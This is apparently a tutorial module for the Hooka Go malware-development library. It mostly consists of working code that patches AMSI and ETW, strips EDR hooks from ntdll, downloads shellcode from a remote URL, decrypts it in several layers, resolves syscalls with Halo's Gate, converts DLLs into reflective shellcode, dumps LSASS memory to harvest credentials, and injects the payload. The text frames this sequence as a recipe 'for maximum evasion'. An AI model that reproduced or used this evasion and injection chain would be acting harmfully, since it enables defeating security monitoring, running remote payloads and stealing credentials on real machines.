Module 7: The Hooka Go Library

Import in Your Code

Goimport "github.com/D3Ext/Hooka/pkg/hooka"

All exported functions are accessed via the hooka. prefix. The package has no global state and each function is self-contained, making it safe to call in any order (though certain sequences are recommended for maximum evasion).

Disable Antimalware Scan Interface

Goerr := hooka.PatchAmsi()
if err != nil {
    fmt.Println("[!] AMSI patch failed:", err)
    os.Exit(1)
}

This must happen before loading any shellcode into memory. AMSI scans buffers passed to AmsiScanBuffer — if not patched, the shellcode will be scanned during injection.

Disable Event Tracing for Windows

Goerr = hooka.PatchEtw()
if err != nil {
    fmt.Println("[!] ETW patch failed:", err)
    os.Exit(1)
}

ETW feeds telemetry to EDR products. Patching it reduces the visibility of subsequent operations to monitoring tools.

Remove EDR Hooks

Goerr = hooka.PerunsUnhook()
if err != nil {
    fmt.Println("[!] Unhook failed:", err)
    os.Exit(1)
}

PerunsUnhook() (Perun's Fart) replaces the hooked .text section of ntdll.dll with a clean copy. After this call, all subsequent NTDLL function calls bypass EDR hooks. You could also use ClassicUnhook() or FullUnhook() depending on your needs.

Load from File or URL

Go// From a local file:
shellcode, err := hooka.GetShellcodeFromFile("/path/to/shellcode.bin")

// OR from a remote URL:
shellcode, err := hooka.GetShellcodeFromUrl("http://192.168.1.100/sc.bin")

Both functions return a []byte slice containing the raw shellcode.

Using maldev Crypto Functions

Goimport "github.com/D3Ext/maldev/crypto"

// If shellcode was AES-encrypted at build time:
decrypted, err := crypto.AesDecrypt(shellcode, key)

The maldev library provides AesDecrypt, XorEncrypt (XOR is its own inverse), Rc4Encrypt, ChaCha20Encrypt, and other cryptographic functions for decryption.

Get System Service Numbers

Go// Resolve the SSN for NtCreateThreadEx using Halo's Gate
// Uses API hashing to avoid plain-text function name strings
ntCreateThreadExHash := hooka.GetFuncHashValue("NtCreateThreadEx")
sysId, err := hooka.GetSysIdHashHalos(ntCreateThreadExHash, hooka.Sha1)

GetSysIdHashHalos() walks the NTDLL export table using Halo's Gate algorithm to find the System Service Number (SSN) for the target function. The hash-based lookup avoids having the function name as a string in the binary.

ConvertDllToShellcode()

Go// Convert a DLL file on disk to shellcode
shellcode, err := hooka.ConvertDllToShellcode(
    "payload.dll",     // path to DLL file
    "DllMain",         // exported function to call
    "",                // optional function arguments
)

This reads the DLL from disk, prepends a reflective loader stub, and returns shellcode that, when executed, maps the DLL into memory and calls the specified export function.

ConvertDllBytesToShellcode()

Go// Convert DLL bytes already in memory to shellcode
dllBytes, _ := os.ReadFile("payload.dll")
shellcode, err := hooka.ConvertDllBytesToShellcode(
    dllBytes,          // DLL as byte slice
    "DllMain",         // exported function to call
    "",                // optional function arguments
)

Same as above but works with DLL bytes already loaded into memory. Useful when the DLL is fetched from a remote source or decrypted at runtime.

Privilege Check & LSASS Dump

Go// Check if running with high privileges (admin/SYSTEM)
isAdmin, err := hooka.CheckHighPrivs()
if isAdmin {
    // Dump LSASS process memory to file
    err = hooka.DumpLsass("lsass.dmp")
}

CheckHighPrivs() verifies whether the current process has administrative or SYSTEM privileges. DumpLsass(output) creates a minidump of the LSASS process, which contains cached credentials. The output file can be processed offline with tools like Mimikatz or pypykatz.

Advanced Encryption Chains

The maldev library (github.com/D3Ext/maldev) provides additional cryptographic functions that complement Hooka's library. You can build multi-layer encryption chains:

Goimport (
    "github.com/D3Ext/Hooka/pkg/hooka"
    "github.com/D3Ext/maldev/crypto"
    "github.com/D3Ext/maldev/encoding"
)

// Multi-layer decryption: Base64 decode -> ChaCha20 decrypt -> XOR decode
encoded := getPayloadFromUrl()
decoded, _ := encoding.Base64Decode(encoded)
decrypted, _ := crypto.ChaCha20Decrypt(decoded, chachaKey, nonce)
shellcode, _ := crypto.XorEncrypt(decrypted, xorKey)  // XOR is its own inverse

// Then inject with Hooka
hooka.NtCreateThreadExHalos(shellcode)